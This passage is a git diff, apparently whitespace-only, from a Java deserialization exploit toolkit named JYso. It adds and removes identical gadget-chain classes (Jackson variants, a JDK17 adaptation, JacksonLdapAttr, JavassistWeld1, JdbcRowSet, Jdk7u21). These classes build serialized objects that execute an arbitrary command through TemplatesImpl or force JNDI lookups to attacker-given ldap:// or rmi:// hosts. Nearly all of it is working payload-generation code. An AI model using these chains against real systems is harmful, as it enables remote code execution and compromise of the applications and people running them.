null); + setFieldValue(val, "suppressedExceptions", null); + + HashMap hashMap = new HashMap(); + hashMap.put(tempImpl, val); + + return hashMap; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson2.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson2.java index d3e0e28..7a01fc1 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jackson2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson2.java @@ -1,48 +1,48 @@ -package com.qi4l.JYso.gadgets; - -import com.fasterxml.jackson.databind.node.POJONode; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import javassist.ClassPool; -import javassist.CtClass; -import javassist.CtMethod; -import org.springframework.aop.framework.AdvisedSupport; - -import javax.management.BadAttributeValueExpException; -import javax.xml.transform.Templates; -import java.lang.reflect.Constructor; -import java.lang.reflect.InvocationHandler; -import java.lang.reflect.Proxy; - -import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue; - -@SuppressWarnings({"rawtypes", "unused"}) -public class Jackson2 implements ObjectPayload { - public static Object makeTemplatesImplAopProxy(String cmd) throws Exception { - AdvisedSupport advisedSupport = new AdvisedSupport(); - advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd)); - Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); - constructor.setAccessible(true); - InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); - return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); - } - - public Object getObject(final String command) throws Exception { - - try { - CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); - CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); - ctClass.removeMethod(writeReplace); - ctClass.toClass(); - } catch (Exception ignored) { - - } - POJONode node = new POJONode(makeTemplatesImplAopProxy(command)); - BadAttributeValueExpException val = new BadAttributeValueExpException(null); - setFieldValue(val, "val", node); - //清除堆栈信息 - setFieldValue(val, "stackTrace", new StackTraceElement[0]); - setFieldValue(val, "cause", null); - setFieldValue(val, "suppressedExceptions", null); - return val; - } -} +package com.qi4l.JYso.gadgets; + +import com.fasterxml.jackson.databind.node.POJONode; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; +import org.springframework.aop.framework.AdvisedSupport; + +import javax.management.BadAttributeValueExpException; +import javax.xml.transform.Templates; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; + +import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue; + +@SuppressWarnings({"rawtypes", "unused"}) +public class Jackson2 implements ObjectPayload { + public static Object makeTemplatesImplAopProxy(String cmd) throws Exception { + AdvisedSupport advisedSupport = new AdvisedSupport(); + advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd)); + Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); + constructor.setAccessible(true); + InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); + return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); + } + + public Object getObject(final String command) throws Exception { + + try { + CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); + CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); + ctClass.removeMethod(writeReplace); + ctClass.toClass(); + } catch (Exception ignored) { + + } + POJONode node = new POJONode(makeTemplatesImplAopProxy(command)); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + setFieldValue(val, "val", node); + //清除堆栈信息 + setFieldValue(val, "stackTrace", new StackTraceElement[0]); + setFieldValue(val, "cause", null); + setFieldValue(val, "suppressedExceptions", null); + return val; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java index 50540f0..a4516b3 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java @@ -1,125 +1,125 @@ -package com.qi4l.JYso.gadgets; - -import com.fasterxml.jackson.databind.node.POJONode; -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.SuClassLoader; -import com.qi4l.JYso.gadgets.utils.ThirdLibsClassLoader; -import javassist.ClassPool; -import javassist.CtClass; -import javassist.CtMethod; -import org.springframework.aop.framework.AdvisedSupport; -import org.springframework.aop.framework.AdvisorChainFactory; - -import javax.sql.DataSource; -import javax.xml.transform.Templates; -import java.lang.reflect.Constructor; -import java.lang.reflect.InvocationHandler; -import java.lang.reflect.Proxy; -import java.util.Vector; - -import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; -import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue; -import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue; - - -//Jackson2链的JDK17改造 -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"spring-apo:6.2.10"}) -@Authors({Authors.JSJCW}) -public class Jackson3 implements ObjectPayload { - static InvocationHandler setSuidSource(AdvisedSupport advisedSupport) throws Exception { - //<=6.0.23为6115154060221772279 - //>=6.1.0 为273003553246259276 - String sUID = "273003553246259276"; - CtClass ctDefaultAdvisorChainFactory = insertField( - "org.springframework.aop.framework.DefaultAdvisorChainFactory", - "private static final long serialVersionUID = " + sUID + "L;"); - - Object ctFactory = ctDefaultAdvisorChainFactory.toClass( - new SuClassLoader(),SuClassLoader.class.getProtectionDomain() - ).newInstance(); - advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) ctFactory); - - Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); - constructor.setAccessible(true); - return (InvocationHandler) constructor.newInstance(advisedSupport); - } - - public static Object makeTemplatesImplAopProxy(String cmd) throws Exception { - AdvisedSupport advisedSupport = new AdvisedSupport(); - advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd)); - - InvocationHandler handler = setSuidSource(advisedSupport); - - - return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); - } - - public static Object makeDatasourceAopProxy(Object templatesImpl) throws Exception { - AdvisedSupport advisedSupport = new AdvisedSupport(); - advisedSupport.setTarget(templatesImpl); - - InvocationHandler handler = setSuidSource(advisedSupport); - - return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{DataSource.class}, handler); - } - - public static Object makeAopProxy(String singletonTargetSourceClassName, String advisedSupportClassName, String jdkDynamicAopProxy, Class superClass, Object targetObject) throws Exception { - Object singletonTargetSource = ThirdLibsClassLoader.loadClass_(singletonTargetSourceClassName).getConstructor(Object.class).newInstance(targetObject); - Class advisedSupportClazz = ThirdLibsClassLoader.loadClass_(advisedSupportClassName); - Object advisedSupport = advisedSupportClazz.newInstance(); - advisedSupportClazz.getMethod("setTarget", Object.class).invoke(advisedSupport, singletonTargetSource); - Constructor constructor = ThirdLibsClassLoader.loadClass_(jdkDynamicAopProxy).getConstructor(advisedSupportClazz); - constructor.setAccessible(true); - InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); - return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{superClass}, handler); - } - - public static Object getEventListenerList(Object obj) throws Exception { - //>=6.1.0 为-7977902244297240866 - //<=6.0.23为-5677132037850737084 - String sUID1 = "7977902244297240866"; - CtClass ctEventListenerList = insertField( - "javax.swing.event.EventListenerList", - "private static final long serialVersionUID = -" + sUID1 + "L;"); - Object list = ctEventListenerList.toClass( - new SuClassLoader(),SuClassLoader.class.getProtectionDomain() - ).newInstance(); - - //>=6.1.0 为-1045223116463488483 - //<=6.0.23为-2077529998244066750 - String sUID2 = "1045223116463488483"; - CtClass ctUndoManager = insertField( - "javax.swing.undo.UndoManager", - "private static final long serialVersionUID = -" + sUID2 + "L;"); - Object undomanager = ctUndoManager.toClass( - new SuClassLoader(),SuClassLoader.class.getProtectionDomain() - ).newInstance(); - - //取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。 - Vector vector = (Vector) getFieldValue(undomanager, "edits"); - vector.add(obj); - - setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager}); - return list; - } - - @Override - public Object getObject(final String command) throws Exception { - try { - CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); - CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); - ctClass.removeMethod(writeReplace); - ctClass.toClass(); - } catch (Exception ignored) { - - } - - - POJONode node = new POJONode(makeTemplatesImplAopProxy(command)); - - return getEventListenerList(node); - } -} +package com.qi4l.JYso.gadgets; + +import com.fasterxml.jackson.databind.node.POJONode; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.SuClassLoader; +import com.qi4l.JYso.gadgets.utils.ThirdLibsClassLoader; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; +import org.springframework.aop.framework.AdvisedSupport; +import org.springframework.aop.framework.AdvisorChainFactory; + +import javax.sql.DataSource; +import javax.xml.transform.Templates; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.Vector; + +import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; +import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue; +import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue; + + +//Jackson2链的JDK17改造 +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"spring-apo:6.2.10"}) +@Authors({Authors.JSJCW}) +public class Jackson3 implements ObjectPayload { + static InvocationHandler setSuidSource(AdvisedSupport advisedSupport) throws Exception { + //<=6.0.23为6115154060221772279 + //>=6.1.0 为273003553246259276 + String sUID = "273003553246259276"; + CtClass ctDefaultAdvisorChainFactory = insertField( + "org.springframework.aop.framework.DefaultAdvisorChainFactory", + "private static final long serialVersionUID = " + sUID + "L;"); + + Object ctFactory = ctDefaultAdvisorChainFactory.toClass( + new SuClassLoader(),SuClassLoader.class.getProtectionDomain() + ).newInstance(); + advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) ctFactory); + + Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); + constructor.setAccessible(true); + return (InvocationHandler) constructor.newInstance(advisedSupport); + } + + public static Object makeTemplatesImplAopProxy(String cmd) throws Exception { + AdvisedSupport advisedSupport = new AdvisedSupport(); + advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd)); + + InvocationHandler handler = setSuidSource(advisedSupport); + + + return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); + } + + public static Object makeDatasourceAopProxy(Object templatesImpl) throws Exception { + AdvisedSupport advisedSupport = new AdvisedSupport(); + advisedSupport.setTarget(templatesImpl); + + InvocationHandler handler = setSuidSource(advisedSupport); + + return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{DataSource.class}, handler); + } + + public static Object makeAopProxy(String singletonTargetSourceClassName, String advisedSupportClassName, String jdkDynamicAopProxy, Class superClass, Object targetObject) throws Exception { + Object singletonTargetSource = ThirdLibsClassLoader.loadClass_(singletonTargetSourceClassName).getConstructor(Object.class).newInstance(targetObject); + Class advisedSupportClazz = ThirdLibsClassLoader.loadClass_(advisedSupportClassName); + Object advisedSupport = advisedSupportClazz.newInstance(); + advisedSupportClazz.getMethod("setTarget", Object.class).invoke(advisedSupport, singletonTargetSource); + Constructor constructor = ThirdLibsClassLoader.loadClass_(jdkDynamicAopProxy).getConstructor(advisedSupportClazz); + constructor.setAccessible(true); + InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); + return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{superClass}, handler); + } + + public static Object getEventListenerList(Object obj) throws Exception { + //>=6.1.0 为-7977902244297240866 + //<=6.0.23为-5677132037850737084 + String sUID1 = "7977902244297240866"; + CtClass ctEventListenerList = insertField( + "javax.swing.event.EventListenerList", + "private static final long serialVersionUID = -" + sUID1 + "L;"); + Object list = ctEventListenerList.toClass( + new SuClassLoader(),SuClassLoader.class.getProtectionDomain() + ).newInstance(); + + //>=6.1.0 为-1045223116463488483 + //<=6.0.23为-2077529998244066750 + String sUID2 = "1045223116463488483"; + CtClass ctUndoManager = insertField( + "javax.swing.undo.UndoManager", + "private static final long serialVersionUID = -" + sUID2 + "L;"); + Object undomanager = ctUndoManager.toClass( + new SuClassLoader(),SuClassLoader.class.getProtectionDomain() + ).newInstance(); + + //取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。 + Vector vector = (Vector) getFieldValue(undomanager, "edits"); + vector.add(obj); + + setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager}); + return list; + } + + @Override + public Object getObject(final String command) throws Exception { + try { + CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); + CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); + ctClass.removeMethod(writeReplace); + ctClass.toClass(); + } catch (Exception ignored) { + + } + + + POJONode node = new POJONode(makeTemplatesImplAopProxy(command)); + + return getEventListenerList(node); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson4.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson4.java index 41eaab0..5f211bd 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jackson4.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson4.java @@ -1,44 +1,44 @@ -package com.qi4l.JYso.gadgets; - -import com.fasterxml.jackson.databind.node.POJONode; -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.sun.org.apache.xpath.internal.objects.XObject; -import com.sun.org.apache.xpath.internal.objects.XString; -import javassist.ClassPool; -import javassist.CtClass; -import javassist.CtMethod; - -import java.util.HashMap; - -import static com.qi4l.JYso.gadgets.Jackson3.makeTemplatesImplAopProxy; - - -//Jackson1链的JDK17改造 - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"spring-apo:6.2.10"}) -@Authors({Authors.QI4L}) -public class Jackson4 implements ObjectPayload { - @Override - public Object getObject(String command) throws Exception { - try { - CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); - CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); - ctClass.removeMethod(writeReplace); - ctClass.toClass(); - } catch (Exception ignored) { - - } - - POJONode node = new POJONode(makeTemplatesImplAopProxy(command)); - XObject xString = new XString("foo"); - HashMap map1 = new HashMap(); - HashMap map2 = new HashMap(); - map1.put("yy", node); - map1.put("zZ", xString); - map2.put("yy", xString); - map2.put("zZ", node); - return com.qi4l.JYso.gadgets.utils.Utils.makeMap(map1, map2); - } -} +package com.qi4l.JYso.gadgets; + +import com.fasterxml.jackson.databind.node.POJONode; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.sun.org.apache.xpath.internal.objects.XObject; +import com.sun.org.apache.xpath.internal.objects.XString; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import java.util.HashMap; + +import static com.qi4l.JYso.gadgets.Jackson3.makeTemplatesImplAopProxy; + + +//Jackson1链的JDK17改造 + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"spring-apo:6.2.10"}) +@Authors({Authors.QI4L}) +public class Jackson4 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + try { + CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); + CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); + ctClass.removeMethod(writeReplace); + ctClass.toClass(); + } catch (Exception ignored) { + + } + + POJONode node = new POJONode(makeTemplatesImplAopProxy(command)); + XObject xString = new XString("foo"); + HashMap map1 = new HashMap(); + HashMap map2 = new HashMap(); + map1.put("yy", node); + map1.put("zZ", xString); + map2.put("yy", xString); + map2.put("zZ", node); + return com.qi4l.JYso.gadgets.utils.Utils.makeMap(map1, map2); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/JacksonLdapAttr.java b/src/main/java/com/qi4l/JYso/gadgets/JacksonLdapAttr.java index c5b04b1..5ffc6c7 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JacksonLdapAttr.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JacksonLdapAttr.java @@ -1,62 +1,62 @@ -package com.qi4l.JYso.gadgets; - -import com.fasterxml.jackson.databind.node.POJONode; -import javassist.ClassPool; -import javassist.CtClass; -import javassist.CtMethod; -import org.apache.logging.log4j.Logger; -import org.apache.logging.log4j.LogManager; - -import javax.management.BadAttributeValueExpException; -import javax.naming.CompositeName; -import javax.naming.directory.BasicAttribute; -import java.lang.reflect.Constructor; -import java.lang.reflect.Field; - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -public class JacksonLdapAttr implements ObjectPayload { - private static final Logger log = LogManager.getLogger(JacksonLdapAttr.class); - - @Override - public Object getObject(String command) throws Exception { - - - if (command.toLowerCase().startsWith("jndi:")) { - command = command.substring(5); - } - - if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) { - throw new Exception("Command format is: [rmi|ldap]://host:port/obj"); - } - - CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); - CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); - ctClass.removeMethod(writeReplace); - ctClass.toClass(); - - try { - Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute"); - Constructor clazz_cons = clazz.getDeclaredConstructor(String.class); - clazz_cons.setAccessible(true); - BasicAttribute la = (BasicAttribute) clazz_cons.newInstance(new Object[]{"exp"}); - Field bcu_fi = clazz.getDeclaredField("baseCtxURL"); - bcu_fi.setAccessible(true); - bcu_fi.set(la, command); - CompositeName cn = new CompositeName(); - cn.add("a"); - cn.add("b"); - Field rdn_fi = clazz.getDeclaredField("rdn"); - rdn_fi.setAccessible(true); - rdn_fi.set(la, cn); - POJONode node = new POJONode(la); - BadAttributeValueExpException val = new BadAttributeValueExpException(null); - Field valfield = val.getClass().getDeclaredField("val"); - valfield.setAccessible(true); - valfield.set(val, node); - return val; - } catch (Exception e) { - log.error("e: ", e); - } - return null; - } -} +package com.qi4l.JYso.gadgets; + +import com.fasterxml.jackson.databind.node.POJONode; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; + +import javax.management.BadAttributeValueExpException; +import javax.naming.CompositeName; +import javax.naming.directory.BasicAttribute; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +public class JacksonLdapAttr implements ObjectPayload { + private static final Logger log = LogManager.getLogger(JacksonLdapAttr.class); + + @Override + public Object getObject(String command) throws Exception { + + + if (command.toLowerCase().startsWith("jndi:")) { + command = command.substring(5); + } + + if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) { + throw new Exception("Command format is: [rmi|ldap]://host:port/obj"); + } + + CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); + CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); + ctClass.removeMethod(writeReplace); + ctClass.toClass(); + + try { + Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute"); + Constructor clazz_cons = clazz.getDeclaredConstructor(String.class); + clazz_cons.setAccessible(true); + BasicAttribute la = (BasicAttribute) clazz_cons.newInstance(new Object[]{"exp"}); + Field bcu_fi = clazz.getDeclaredField("baseCtxURL"); + bcu_fi.setAccessible(true); + bcu_fi.set(la, command); + CompositeName cn = new CompositeName(); + cn.add("a"); + cn.add("b"); + Field rdn_fi = clazz.getDeclaredField("rdn"); + rdn_fi.setAccessible(true); + rdn_fi.set(la, cn); + POJONode node = new POJONode(la); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, node); + return val; + } catch (Exception e) { + log.error("e: ", e); + } + return null; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/JavassistWeld1.java b/src/main/java/com/qi4l/JYso/gadgets/JavassistWeld1.java index 9d244c2..d840285 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JavassistWeld1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JavassistWeld1.java @@ -1,90 +1,90 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; -import org.jboss.weld.interceptor.builder.InterceptionModelBuilder; -import org.jboss.weld.interceptor.builder.MethodReference; -import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory; -import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler; -import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference; -import org.jboss.weld.interceptor.reader.DefaultMethodMetadata; -import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata; -import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata; -import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator; -import org.jboss.weld.interceptor.spi.metadata.InterceptorReference; -import org.jboss.weld.interceptor.spi.metadata.MethodMetadata; -import org.jboss.weld.interceptor.spi.model.InterceptionModel; - -import java.lang.reflect.Constructor; -import java.util.*; - - -/* - by @matthias_kaiser -*/ -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", - "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", - "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) -@Authors({Authors.MATTHIASKAISER}) -public class JavassistWeld1 implements ObjectPayload { - - public Object getObject(String command) throws Exception { - - return get_chain(command, org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, null); - } - - static Object get_chain( - String command, - org.jboss.weld.interceptor.spi.model.InterceptionType POST_ACTIVATE, - org.jboss.interceptor.spi.model.InterceptionType POST_ACTIVATE1 - ) throws Exception { - Object tpl = Gadgets.createTemplatesImpl(command); - - InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); - ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); - InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); - - Set s = new HashSet<>(); - - if (POST_ACTIVATE != null) { - s.add(POST_ACTIVATE); - } else { - s.add(POST_ACTIVATE1); - } - - - Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); - Reflections.setAccessible(defaultMethodMetadataConstructor); - MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, - MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); - - List list = new ArrayList(); - list.add(methodMetadata); - Map hashMap = new HashMap<>(); - - if (POST_ACTIVATE != null) { - hashMap.put(POST_ACTIVATE, list); - } else { - hashMap.put(POST_ACTIVATE1, list); - } - - SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); - - builder.interceptAll().with(simpleInterceptorMetadata); - - InterceptionModel model = builder.build(); - - HashMap map = new HashMap(); - map.put("qi4l", "qi4l"); - - DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); - - InterceptorInstantiator interceptorInstantiator = paramInterceptorReference -> tpl; - - return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.jboss.weld.interceptor.builder.InterceptionModelBuilder; +import org.jboss.weld.interceptor.builder.MethodReference; +import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory; +import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler; +import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference; +import org.jboss.weld.interceptor.reader.DefaultMethodMetadata; +import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata; +import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata; +import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator; +import org.jboss.weld.interceptor.spi.metadata.InterceptorReference; +import org.jboss.weld.interceptor.spi.metadata.MethodMetadata; +import org.jboss.weld.interceptor.spi.model.InterceptionModel; + +import java.lang.reflect.Constructor; +import java.util.*; + + +/* + by @matthias_kaiser +*/ +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", + "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", + "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) +@Authors({Authors.MATTHIASKAISER}) +public class JavassistWeld1 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + + return get_chain(command, org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, null); + } + + static Object get_chain( + String command, + org.jboss.weld.interceptor.spi.model.InterceptionType POST_ACTIVATE, + org.jboss.interceptor.spi.model.InterceptionType POST_ACTIVATE1 + ) throws Exception { + Object tpl = Gadgets.createTemplatesImpl(command); + + InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); + ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); + InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); + + Set s = new HashSet<>(); + + if (POST_ACTIVATE != null) { + s.add(POST_ACTIVATE); + } else { + s.add(POST_ACTIVATE1); + } + + + Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); + Reflections.setAccessible(defaultMethodMetadataConstructor); + MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, + MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); + + List list = new ArrayList(); + list.add(methodMetadata); + Map hashMap = new HashMap<>(); + + if (POST_ACTIVATE != null) { + hashMap.put(POST_ACTIVATE, list); + } else { + hashMap.put(POST_ACTIVATE1, list); + } + + SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); + + builder.interceptAll().with(simpleInterceptorMetadata); + + InterceptionModel model = builder.build(); + + HashMap map = new HashMap(); + map.put("qi4l", "qi4l"); + + DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); + + InterceptorInstantiator interceptorInstantiator = paramInterceptorReference -> tpl; + + return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/JdbcRowSet.java b/src/main/java/com/qi4l/JYso/gadgets/JdbcRowSet.java index eb5dc39..fca7f8c 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JdbcRowSet.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JdbcRowSet.java @@ -1,11 +1,11 @@ -package com.qi4l.JYso.gadgets; - -import static com.qi4l.JYso.gadgets.ROMEJDBC.makeJNDIRowSet; - -@SuppressWarnings({"unused"}) -public class JdbcRowSet implements ObjectPayload { - @Override - public Object getObject(String command) throws Exception { - return makeJNDIRowSet(command); - } +package com.qi4l.JYso.gadgets; + +import static com.qi4l.JYso.gadgets.ROMEJDBC.makeJNDIRowSet; + +@SuppressWarnings({"unused"}) +public class JdbcRowSet implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + return makeJNDIRowSet(command); + } } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21.java b/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21.java index fe9936c..b921a1f 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21.java @@ -1,101 +1,101 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.JavaVersion; -import com.qi4l.JYso.gadgets.utils.Reflections; - -import javax.xml.transform.Templates; -import java.lang.reflect.Constructor; -import java.lang.reflect.InvocationHandler; -import java.lang.reflect.Proxy; -import java.util.HashMap; -import java.util.LinkedHashSet; - - -/** - * Gadget chain that works against JRE 1.7u21 